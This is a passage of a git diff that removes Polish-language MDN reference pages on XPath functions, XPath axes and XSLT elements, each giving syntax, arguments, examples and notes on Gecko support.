-{{ languages( { "en": "en/XPath/Functions/string-length", "fr": "fr/XPath/Fonctions/string-length", "ja": "ja/XPath/Functions/string-length" } ) }} diff --git a/files/pl/web/xpath/funkcje/string/index.html b/files/pl/web/xpath/funkcje/string/index.html deleted file mode 100644 index d84708e71f..0000000000 --- a/files/pl/web/xpath/funkcje/string/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: string -slug: Web/XPath/Funkcje/string -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/string ---- -

-{{ XsltRef() }} -


-Funkcja string konwertuje dany argument do łańcucha znaków. -

-

Składnia

-
string( [obiekt] )
-
-

Argumenty

-
obiekt (opcjonalny) -
Obiekt, który ma zostać przekonwertowany do łańcucha znaków. Jeśli pominięty, użyty zostanie wierzchołek kontekstu. -
-

Zwraca

-

Łańcuch znaków -

-

Uwagi

-
  • Jeśli obiekt jest zbiorem wierzchołków, zwracana jest wartość łańcucha znaków pierwszego wierzchołka w zbiorze.
  • Liczby są konwertowane następująco: -
    • NaN jest konwertowane do ciągu NaN. -
    • Dodatnie zero jest konwertowane do łańcucha 0. -
    • Ujemne zero jest konwertowane do łańcucha 0. -
    • Dodatnia nieskończoność jest konwertowana do łańcucha Infinity. -
    • Ujemna nieskończoność jest konwertowana do łańcucha -Infinity. -
    • Liczby dziesiętne między -1 i 1 są konwertowane do łańcucha znaków z pojedynczym zerem poprzedzającym kropkę dziesiętną.
    -
-

Definicja

-

XPath 1.0 4.2 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/string", "fr": "fr/XPath/Fonctions/string", "ja": "ja/XPath/Functions/string" } ) }} diff --git a/files/pl/web/xpath/funkcje/substring-after/index.html b/files/pl/web/xpath/funkcje/substring-after/index.html deleted file mode 100644 index faf0b7ae6a..0000000000 --- a/files/pl/web/xpath/funkcje/substring-after/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: substring-after -slug: Web/XPath/Funkcje/substring-after -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/substring-after ---- -

-{{ XsltRef() }} -


-Funkcja substring-after zwraca łańcuch znaków będący resztą podanego łańcucha znaków po danym podciągu. -

-

Składnia

-
substring-after( stóg siana , igła )
-
-

Argumenty

-
stóg siana -
Oceniany łańcuch znaków. Zostanie zwrócona część tego łańcucha. -
-
igła -
Szukany podciąg. Zostanie zwrócone wszystko po pierwszym wystąpieniu igła w łańcuchu stóg siana. -
-

Zwraca

-

Łańcuch znaków. -

-

Przykłady

- -
Przykład XPath Wyświetli
substring-after('aa-bb','-') bb
substring-after('aa-bb','a') a-bb
substring-after('aa-bb','b') b
substring-after('aa-bb','q') (pusty łańcuch znaków)
-

Definicja

-

XPath 1.0 4.2 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/substring-after", "fr": "fr/XPath/Fonctions/substring-after", "ja": "ja/XPath/Functions/substring-after" } ) }} diff --git a/files/pl/web/xpath/funkcje/substring-before/index.html b/files/pl/web/xpath/funkcje/substring-before/index.html deleted file mode 100644 index 9786005f7c..0000000000 --- a/files/pl/web/xpath/funkcje/substring-before/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: substring-before -slug: Web/XPath/Funkcje/substring-before -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/substring-before ---- -

-{{ XsltRef() }} -


-Funkcja substring-before zwraca łańcuch znaków będący resztą podanego łańcucha znaków przed danym podciągiem.

-

Składnia

-
substring-before( stóg siana , igła )
-
-

Argumenty

-
stóg siana -
Oceniany łańcuch znaków. Zostanie zwrócona część tego łańcucha.
-
igła -
Szukany podciąg. Zostanie zwrócone wszystko przed pierwszym wystąpieniem igła w łańcuchu stóg siana. -
-

Zwraca

-

Łańcuch znaków. -

-

Przykłady

- -
Przykład XPath Wyświetli
substring-before('aa-bb','-') aa
substring-before('aa-bb','a') (empty string)
substring-before('aa-bb','b') aa-
substring-before('aa-bb','q') (pusty łańcuch znaków)
-

Definicja

-

XPath 1.0 4.2 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/substring-before", "fr": "fr/XPath/Fonctions/substring-before", "ja": "ja/XPath/Functions/substring-before" } ) }} diff --git a/files/pl/web/xpath/funkcje/substring/index.html b/files/pl/web/xpath/funkcje/substring/index.html deleted file mode 100644 index 4ed67fda88..0000000000 --- a/files/pl/web/xpath/funkcje/substring/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: substring -slug: Web/XPath/Funkcje/substring -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/substring ---- -

-{{ XsltRef() }} -


-Funkcja substring zwraca część podanego łańcucha znaków.

-

Składnia

-
substring( łańcuch , start [, długość] )
-
-

Argumenty

-
ciąg
Łańcuch znaków do oceny.
-
start -
Pozycja wewnątrz łańcuch, gdzie rozpoczyna się podciąg -
-
długość (opcjonalny) -
Długość podciągu. Jeśli pominięty, zwrócony łańcuch znaków będzie zawierał każdy znak z zakresu od pozycji startowej do końca łańcucha. -
-

Zwraca

-

Łańcuch znaków. -

-

Uwagi

-

Podobnie jak w innych funkcjach XPath, pozycja nie jest liczona od zera. Pierwszy znak w tym ciągu ma pozycję 1, nie 0. -

-

Definicja

-

XPath 1.0 4.2 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/substring", "es": "es/XPath/Funciones/substring", "fr": "fr/XPath/Fonctions/substring", "ja": "ja/XPath/Functions/substring" } ) }} diff --git a/files/pl/web/xpath/funkcje/sum/index.html b/files/pl/web/xpath/funkcje/sum/index.html deleted file mode 100644 index e0fac8e7bc..0000000000 --- a/files/pl/web/xpath/funkcje/sum/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: sum -slug: Web/XPath/Funkcje/sum -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/sum ---- -

-{{ XsltRef() }} -


-Funkcja sum zwraca liczbę, która jest sumą wartości liczbowych każdego wierzchołka w podanym zbiorze wierzchołków.

-

Składnia

-
sum( zbiór_wierzchołków )
-
-

Argumenty

-
zbiór_wierzchołków -
Oceniany zbiór wierzchołków. Każdy wierzchołek w tym zbiorze wierzchołków jest oceniany tak jak gdyby został przekazany do funkcji number(), zaś wynikiem jest suma zwracanych liczb. -
-

Zwraca

-

Liczbę. -

-

Uwagi

-

(Brak) -

-

Definicja

-

XPath 1.0 4.3 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/sum", "fr": "fr/XPath/Fonctions/sum", "ja": "ja/XPath/Functions/sum" } ) }} diff --git a/files/pl/web/xpath/funkcje/system-property/index.html b/files/pl/web/xpath/funkcje/system-property/index.html deleted file mode 100644 index 7faf04e266..0000000000 --- a/files/pl/web/xpath/funkcje/system-property/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: system-property -slug: Web/XPath/Funkcje/system-property -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/system-property ---- -

-{{ XsltRef() }} -


-Funkcja system-property zwraca obiekt reprezentujący daną własność systemową. -

-

Składnia

-
system-property( name )
-
-

Argumenty

-
name (opcjonalny) -
Nazwa własności systemowej. Argument musi być łańcuchem znaków będącym poprawną wartością QName. QName jest rozwijany do nazwy za pomocą deklaracji przestrzeni nazw w zasięgu wyrażenia. Funkcja własności systemowej zwraca obiekt reprezentujący wartość własności systemowej identyfikowanej za pomocą nazwy. Jeśli podana własność systemowa nie istnieje, powinien zostać zwrócony pusty łańcuch znaków. -
-

Zwraca

-

Obiekt reprezentujący daną własność systemową. -

-

Uwagi

-
  • xsl:version, liczba podająca wersję XSLT zaimplementowaną przez procesor; dla procesorów XSLT implementujących wersję XSLT określoną przez ten dokument zwracana jest wartość 1.0 -
  • xsl:vendor, łańcuch znaków identyfikujący dystrybutora procesora XSLT -
  • xsl:vendor-url, łańcuch znaków zawierający adres URL identyfikujący dystrybutora procesora XSLT; zazwyczaj jest to strona główna (domowa) dystrybutora. -
-

Definicja

-

XSLT 1.0 12.4 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XPath/Functions/system-property", "fr": "fr/XPath/Fonctions/system-property" } ) }} diff --git a/files/pl/web/xpath/funkcje/translate/index.html b/files/pl/web/xpath/funkcje/translate/index.html deleted file mode 100644 index 7627d29300..0000000000 --- a/files/pl/web/xpath/funkcje/translate/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: translate -slug: Web/XPath/Funkcje/translate -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/translate ---- -

{{ XsltRef() }}

- -


- Funkcja translate ocenia ciąg i zbiór znaków do przetłumaczenia i zwraca przetłumaczony łańcuch znaków.

- -

Składnia

- -
translate( string, abc, XYZ )
-
- -

Argumenty

- -
-
string
-
Oceniany łańcuch znaków.
-
- -
-
abc
-
Ciąg znaków, które zostaną zastąpione.
-
- -
-
XYZ
-
Ciąg znaków, które użyte zostaną do zastąpienia. Pierwszy znak w XYZ zastąpi każde wystąpienie pierwszego znaku w abc, które pojawi się w string .
-
- -

Zwraca

- -

Przetłumaczony łańcuch znaków.

- -

Uwagi

- -

W XPath funkcja translate nie jest wystarczającym rozwiązaniem w przypadku konwersji we wszystkich językach. Przyszłe wersje XPath mogą dostarczyć dodatkowych funkcji dla przypadku konwersji.

- -

Jednakże jest to obecnie rozwiązanie najbliższe funkcji, która potrafi skonwertować łańcuch znaków do małych lub dużych znaków.

- -

Przykład

- -
<xsl:value-of select="translate('The quick brown fox.', 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'" />
-
- -

Otrzymamy

- -
THE QUICK BROWN FOX.
-
- -
    -
  • Jeśli abc jest dłuższy niż XYZ, to każde wystąpienie znaków w abc, które nie ma odpowiadającego znaku w XYZ, zostanie usunięte.
  • -
- -

Przykład

- -
<xsl:value-of select="translate('The quick brown fox.', 'brown', 'red'" />
-
- -

Otrzymamy

- -
The quick red fox.
-
- -
    -
  • Jeśli XYZ zawiera więcej znaków niż abc, dodatkowe znaki są ignorowane.
  • -
- -

Definicja

- -

XPath 1.0 4.2

- -

Gecko

- -

Obsługuje.

- -
 
- -

{{ languages( { "en": "en/XPath/Functions/translate", "fr": "fr/XPath/Fonctions/translate", "ja": "ja/XPath/Functions/translate" } ) }}

diff --git a/files/pl/web/xpath/funkcje/true/index.html b/files/pl/web/xpath/funkcje/true/index.html deleted file mode 100644 index 03ac9c380c..0000000000 --- a/files/pl/web/xpath/funkcje/true/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: 'true' -slug: Web/XPath/Funkcje/true -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/true ---- -

-{{ XsltRef() }} -


-Funkcja true zwraca wartość logiczną prawda. -

-

Składnia

-
true()
-
-

Zwraca

-

Wartość logiczną true. -

-

Definicja

-

XPath 1.0 4.3 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/true", "es": "es/XPath/Funciones/true", "fr": "fr/XPath/Fonctions/true", "ja": "ja/XPath/Functions/true" } ) }} diff --git a/files/pl/web/xpath/funkcje/unparsed-entity-url/index.html b/files/pl/web/xpath/funkcje/unparsed-entity-url/index.html deleted file mode 100644 index 57a6a1b41f..0000000000 --- a/files/pl/web/xpath/funkcje/unparsed-entity-url/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: unparsed-entity-url -slug: Web/XPath/Funkcje/unparsed-entity-url -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/unparsed-entity-url ---- -

-{{ XsltRef() }} -


-Funkcja unparsed-entity-url() zwraca adres URI nieprzetworzonej encji o podanej nazwie. Są to nie XML-owe dane odwołujące się z DTD dokumentu źródłowego.

-

Składnia

-
string unparsed-entity-url(łańcuch)
-
-

Argumenty

-

Nazwa nieprzetworzonej encji. Jeśli argument nie jest łańcuchem znaków, to jest on konwertowany zgodnie z zasadami funkcji string(). Nazwa powinna być nazwą XML. -

-

Zwraca

-

URI encji nieprzetworzonej encji pobranej z DTD, jeśli istnieje. W przeciwnym wypadku zwracany jest pusty łańcuch znaków. -

-

Definicja

-

XSLT 1.0 12.4 -

-

Gecko

-

Nie obsługuje. -

{{ languages( { "en": "en/XPath/Functions/unparsed-entity-url", "fr": "fr/XPath/Fonctions/unparsed-entity-url" } ) }} diff --git a/files/pl/web/xpath/osie/index.html b/files/pl/web/xpath/osie/index.html deleted file mode 100644 index 2822465e16..0000000000 --- a/files/pl/web/xpath/osie/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Osie -slug: Web/XPath/Osie -tags: - - Dokumentacje - - Wszystkie_kategorie - - XPath - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Axes ---- -

-{{ XsltRef() }} -

Znajduje się tu trzynaście różnych osi ze specyfikacji XPath. Oś reprezentuje relację z wierzchołkiem kontekstu i używana jest, aby odnaleźć wierzchołki względne do danego wierzchołka w drzewie. Poniżej umieszczono niezwykle krótki opis trzynastu dostępnych osi i stopień ich obsługi dostępny w Gecko. -

Aby uzyskać więcej informacji na temat zastosowania XPath, zobacz fragment Przeczytaj więcej na końcu dokumentu Transformacje XML z XSLT. -

-
ancestor (przodek) -
Wskazuje wszystkich przodków wierzchołka kontekstu, zaczynając od wierzchołka-rodzica i podążając do wierzchołka głównego. -
ancestor-or-self (przodek lub bieżący) -
Wskazuje wierzchołek kontekstu i wszystkich jego przodków, włączając wierzchołek główny.
attribute (atrybuty) -
Wskazuje atrybutu wierzchołka kontekstu. Tylko elementy posiadają atrybuty. Oś ta może być skrócona do znaku at (@). -
child (dziecko) -
Wskazuje dzieci wierzchołka kontekstu. Jeśli wyrażenie XPath nie określa osi, to oś child jest rozumiana domyślnie. Ponieważ tylko wierzchołek główny lub wierzchołki elementu posiadają dzieci, każde inne użycie nie zaznaczy niczego. -
descendant (potomek) -
Wskazuje wszystkie dzieci wierzchołka kontekstu, wszystkie ich dzieci i tak dalej. Wierzchołki atrybutu i przestrzeni nazw nie są włączone - rodzic (parent) wierzchołka attribute jest wierzchołkiem elementu, ale wierzchołki attribute nie są dziećmi ich rodziców. -
descendant-or-self (potomek lub bieżący) -
Wskazuje wierzchołek kontekstu i wszystkich jego potomków. Wierzchołki atrybutu i przestrzeni nazw nie są włączone - rodzic (parent) wierzchołka attribute jest wierzchołkiem elementu, ale wierzchołki attribute nie są dziećmi ich rodziców.
following (następujący) -
Wskazuje wszystkie wierzchołki, które pojawiają się za wierzchołkiem kontekstu, za wyjątkiem wierzchołków descendant, attribute i namespace. -
following-sibling (następujący siostrzany) -
Wskazuje wszystkie wierzchołki posiadające tego samego rodzica co wierzchołek kontekstu i pojawiające się przed wierzchołkiem kontekstu w dokumencie źródłowym. -
namespace (przestrzeń nazw, nieobsługiwana) -
Wskazuje wszystkie wierzchołki znajdujące się w zasięgu wierzchołka kontekstu. W tym przypadku, wierzchołek kontekstu musi być wierzchołkiem elementu.
parent (rodzic) -
Wskazuje pojedynczy wierzchołek będący rodzicem wierzchołka kontekstu. Może być skrócona do dwóch kropek (..). -
preceding (poprzedzający) -
Wskazuje wszystkie wierzchołki poprzedzające wierzchołek kontekstu w dokumencie, za wyjątkiem wierzchołków ancestor, attribute i namespace. -
preceding-sibling (poprzedzający siostrzany) -
Wskazuje wszystkie wierzchołki posiadające tego samego rodzica co wierzchołek kontekstu i pojawiające się przed wierzchołkiem kontekstu w dokumencie źródłowym.
self (bieżący) -
Wskazuje sam wierzchołek kontekstu. Może być skrócona do pojedynczej kropki (.). -
-


-

-
-
-{{ languages( { "en": "en/XPath/Axes", "es": "es/XPath/Ejes", "fr": "fr/XPath/Axes", "ja": "ja/XPath/Axes", "zh-cn": "cn/XPath/Axes" } ) }} diff --git a/files/pl/web/xslt/apply-imports/index.html b/files/pl/web/xslt/apply-imports/index.html deleted file mode 100644 index 5f8b4296f7..0000000000 --- a/files/pl/web/xslt/apply-imports/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: apply-imports -slug: Web/XSLT/apply-imports -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/apply-imports ---- -

-{{ XsltRef() }} -

Element <xsl:apply-imports> jest elementem dosyć tajemniczym, używanym zazwyczaj w złożonych arkuszach. Pierwszeństwo importu wymaga, aby zasady szablonu w arkuszach głównych posiadały większą ważność niż zasady szablonu w arkuszach importowanych. Jednak czasami użyteczna jest możliwość zmuszenia procesora do użycia zasady szablonu z arkusza importowanego (o niższej ważności) niż równoważnej jej zasady z arkusza głównego. -

-

Składnia

-
<xsl:apply-imports/>

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu. -

-

Definicja

-

XSLT, sekcja 5.6. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/apply-imports", "es": "es/XSLT/apply-imports", "fr": "fr/XSLT/apply-imports" } ) }} diff --git a/files/pl/web/xslt/apply-templates/index.html b/files/pl/web/xslt/apply-templates/index.html deleted file mode 100644 index 8165fda910..0000000000 --- a/files/pl/web/xslt/apply-templates/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: apply-templates -slug: Web/XSLT/apply-templates -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/apply-templates ---- -

-{{ XsltRef() }} -

Element <xsl:apply-templates> zaznacza zbiór węzłów w drzewie wejściowym i informuje procesor, aby zastosował do nich odpowiedni szablon. -

-

Składnia

-
<xsl:apply-templates select=WYRAZENIE mode=NAZWA>
-	<xsl:with-param> [opcjonalny]
-	<xsl:sort> [opcjonalny]
-</xsl:apply-templates>

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-
select -
Używa wyrażenia XPath do określenia, które węzły mają zostać przetworzone. Gwiazdka (*) zaznacza cały zbiór węzłów. Jeśli ten atrybut nie jest ustawiony, zaznaczone są wszystkie węzły-dzieci obecnego węzła. -
mode -
Wprowadza rozróżnienie, jeśli istnieje wiele sposobów zdefiniowanego przetwarzania tego samego węzła. -
-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu.

-

Definicja

-

XSLT sekcja 5.4. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/apply-templates", "es": "es/XSLT/apply-templates", "fr": "fr/XSLT/apply-templates" } ) }} diff --git a/files/pl/web/xslt/attribute-set/index.html b/files/pl/web/xslt/attribute-set/index.html deleted file mode 100644 index c936ae76dc..0000000000 --- a/files/pl/web/xslt/attribute-set/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: attribute-set -slug: Web/XSLT/attribute-set -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/attribute-set ---- -

-{{ XsltRef() }} -

Element <xsl:attribute-set> tworzy nazwany zbiór atrybutów, który może być zastosowany jako całość do dokumentu wyjściowego w sposób podobny do stylów w CSS. -

-

Składnia

-
<xsl:attribute-set name=NAZWA use-attribute-sets=LISTA-NAZW>
-	<xsl:attribute>
-</xsl:attribute-set>
-

Wymagane atrybuty

-
name -
Określa nazwę zbioru atrybutów. Musi być poprawną wartością QName. -
-

Opcjonalne atrybuty

-
use-attribute-sets -
Buduje zbiór atrybutów z innego zbioru atrybutów. Nazwy tych zbiorów muszą być oddzielone za pomocą białych znaków (whitespace) i nie mogą bezpośrednio lub pośrednio osadzać się nawzajem. -
-

Typ

-

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. -

-

Definicja

-

XSLT, sekcja 7.1.4. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/attribute-set", "es": "es/XSLT/attribute-set", "fr": "fr/XSLT/attribute-set" } ) }} diff --git a/files/pl/web/xslt/attribute/index.html b/files/pl/web/xslt/attribute/index.html deleted file mode 100644 index aa3c94dca5..0000000000 --- a/files/pl/web/xslt/attribute/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: attribute -slug: Web/XSLT/attribute -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/attribute ---- -

-{{ XsltRef() }} -

Element <xsl:attribute> tworzy w dokumencie wyjściowym atrybut używając dowolnej wartości dostępnej z arkusza. Element musi być pierwszą rzeczy zdefiniowaną w dokumencie wyjściowym, dla którego ustala on wartość atrybutu. -

-

Składnia

-
<xsl:attribute name=NAZWA namespace=URI>
-	SZABLON
-</xsl:attribute>

Wymagane atrybuty

-
name -
Określa nazwę atrybutu, który ma zostać utworzony w dokumencie wyjściowym. Nazwa musi być poprawną wartością QName. -
-

Opcjonalne atrybuty

-
namespace -
Określa dla atrybutu URI przestrzeni nazw w dokumencie wyjściowym. Nie można za pomocą tego elementu ustawić pokrewnego prefiksu przestrzeni nazw. -
-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu lub elementu <xsl:attribute-set>. -

-

Definicja

-

XSLT, sekcja 7.1.3. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/attribute", "es": "es/XSLT/attribute", "fr": "fr/XSLT/attribute" } ) }} diff --git a/files/pl/web/xslt/call-template/index.html b/files/pl/web/xslt/call-template/index.html deleted file mode 100644 index 283e041fec..0000000000 --- a/files/pl/web/xslt/call-template/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: call-template -slug: Web/XSLT/call-template -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/call-template ---- -

-{{ XsltRef() }} -

Element <xsl:call-template> wywołuje szablon o podanej nazwie.

-

Składnia

-
<xsl:call-template name=NAZWA>
-	<xsl:with-param> [opcjonalnie]
-</xsl:call-template> 
-

Wymagany atrybut

-
name -
Określa nazwę szablonu, który ma zostać wywołany. -
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu.

-

Definicja

-

XSLT, sekcja 6. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/call-template", "es": "es/XSLT/call-template", "fr": "fr/XSLT/call-template" } ) }} diff --git a/files/pl/web/xslt/choose/index.html b/files/pl/web/xslt/choose/index.html deleted file mode 100644 index 319ed34d09..0000000000 --- a/files/pl/web/xslt/choose/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: choose -slug: Web/XSLT/choose -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/choose ---- -

-{{ XsltRef() }} -

Element <xsl:choose> definiuje wybór spośród określonej liczby wyborów alternatywnych. Przypomina w działaniu wyrażenie switch znane z proceduralnych języków programowania. -

-

Składnia

-
<xsl:choose>
-	<xsl:when test="[cokolwiek do sprawdzenia1]"></xsl:when>
-	<xsl:when test="[cokolwiek do sprawdzenia2]"></xsl:when>
-     <xsl:otherwise></xsl:otherwise> [opcjonalnie]
-</xsl:choose>
-

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Instrukcja. Pojawia się wraz z szablonem. Zawiera jeden lub więcej elementów <xsl:when> i opcjonalnie końcowy element <xsl:otherwise>. -

-

Definicja

-

XSLT, sekcja 9.2. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/choose", "es": "es/XSLT/choose", "fr": "fr/XSLT/choose" } ) }} diff --git a/files/pl/web/xslt/comment/index.html b/files/pl/web/xslt/comment/index.html deleted file mode 100644 index 0c0fa5cba8..0000000000 --- a/files/pl/web/xslt/comment/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: comment -slug: Web/XSLT/comment -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/comment ---- -

-{{ XsltRef() }} -

Element <xsl:comment> zapisuje komentarz do dokumentu wyjściowego. Może zawierać tylko tekst.

-

Składnia

-
<xsl:comment>
-	SZABLON
-</xsl:comment> 
-

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu.

-

Definicja

-

XSLT, sekcja 7.4. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/comment", "es": "es/XSLT/comment", "fr": "fr/XSLT/comment" } ) }} diff --git a/files/pl/web/xslt/copy-of/index.html b/files/pl/web/xslt/copy-of/index.html deleted file mode 100644 index c458c88fdc..0000000000 --- a/files/pl/web/xslt/copy-of/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: copy-of -slug: Web/XSLT/copy-of -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/copy-of ---- -

-{{ XsltRef() }} -

Element <xsl:copy-of> tworzy głęboką kopię (włączając węzły potomka) cokolwiek atrybut select określi do dokumentu wyjściowego. -

-

Składnia

-
<xsl:copy-of select=WYRAZENIE /> 
-

Wymagane atrybuty

-
select -
Używa wyrażenia XPath, które określa co ma zostać skopiowane. -
-

Opcjonalne atrybuty

-

Brak. -

-

Typ

-

Instrukcja, pojawia się wewnątrz szablonu. -

-

Definicja

-

XSLT, sekcja 11.3. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/copy-of", "es": "es/XSLT/copy-of", "fr": "fr/XSLT/copy-of" } ) }} diff --git a/files/pl/web/xslt/copy/index.html b/files/pl/web/xslt/copy/index.html deleted file mode 100644 index ffc164b603..0000000000 --- a/files/pl/web/xslt/copy/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: copy -slug: Web/XSLT/copy -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/copy ---- -

-{{ XsltRef() }} -

Element <xsl:copy> przenosi kopię powierzchni (węzeł i powiązany węzeł przestrzeni nazw) obecnego węzła do dokumentu wyjściowego. Nie kopiuje potomków lub atrybutów obecnego węzła.

-

Składnia

-
<xsl:copy use-attribute-sets=LISTA-NAZW>
-	SZABLON
-</xsl:copy>
-

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-
use-attribute-sets -
Lista zestawów atrybutu, które powinny być zastosowane do węzła wyjściowego, jeśli jest to element. Nazwy zestawów powinna być oddzielona za pomocą białych znaków. -
-

Typ

-

Instrukcja, pojawiająca się wewnątrz szablonu.

-

Definicja

-

XSLT, sekcja 7.5. -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XSLT/copy", "es": "es/XSLT/copy", "fr": "fr/XSLT/copy" } ) }} diff --git a/files/pl/web/xslt/decimal-format/index.html b/files/pl/web/xslt/decimal-format/index.html deleted file mode 100644 index 7effc29b96..0000000000 --- a/files/pl/web/xslt/decimal-format/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: decimal-format -slug: Web/XSLT/decimal-format -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XSLT/Element/decimal-format ---- -

-{{ XsltRef() }} -

Element <xsl:decimal-format> definiuje znaki i symbole, które mają być użyte podczas konwersji liczb na łańcuchy znakowe przez funkcję format-number( ). -

-

Składnia

-
<xsl:decimal-format
-	name=NAZWA
-	decimal-separator=ZNAK
-	grouping-separator=ZNAK
-	infinity=ŁANCUCH-ZNAKOW
-	minus-sign=ZNAK
-	NaN=ŁANCUCH-ZNAKOW
-	percent=ZNAK
-	per-mille=ZNAK
-	zero-digit=ZNAK
-	digit=ZNAK
-	pattern-separator=ZNAK />
-

Wymagane atrybuty

-

Brak. -

-

Opcjonalne atrybuty

-
name -
Określa nazwę formatu. -
-
decimal-separator -
Określa punktowy znak dziesiętny. Domyślną wartością jest (.). -
-
grouping-separator -
Określa separator tysięczny. Domyślną wartością jest (,). -
-
infinity -
Określa łańcuch znakowy używany do przedstawienia nieskończoności. Domyślną wartością jest łańcuch "Infinity". -
-
minus-sign -
Określa znak minusa. Domyślną wartością jest łącznik (-). -
-
NaN -
Określa łańcuch znaków, używany gdy wartość nie jest liczbą. Domyślnie jest to łańcuch "NaN". -
-
percent -
Określa znak procenta. Domyślną wartością jest (%). -
-
per-mille -
Określa znak promila. Domyślną wartością jest (). -
-
zero-digit -
Określa znak cyfry zero. Domyślną wartością jest (0). -
-
digit -
Określa znak, które we wzorze formatu reprezentuje cyfrę. Domyślną wartością jest (#). -
-
pattern-separator -
Określa znak rozdzielający dodatnie i ujemne podwzorce we wzorze formatu. Domyślną wartością jest średnik (;). -
-

Typ

-

Element najwyższego poziomu, musi być dzieckiem <xsl:stylesheet> lub <xsl:transform>. -

-

Definicja

-

XSLT, sekcja 12.3. -

-

Gecko

-

Obsługuje od wersji 1.0 (Mozilla 1.0, Netscape 7.0). -

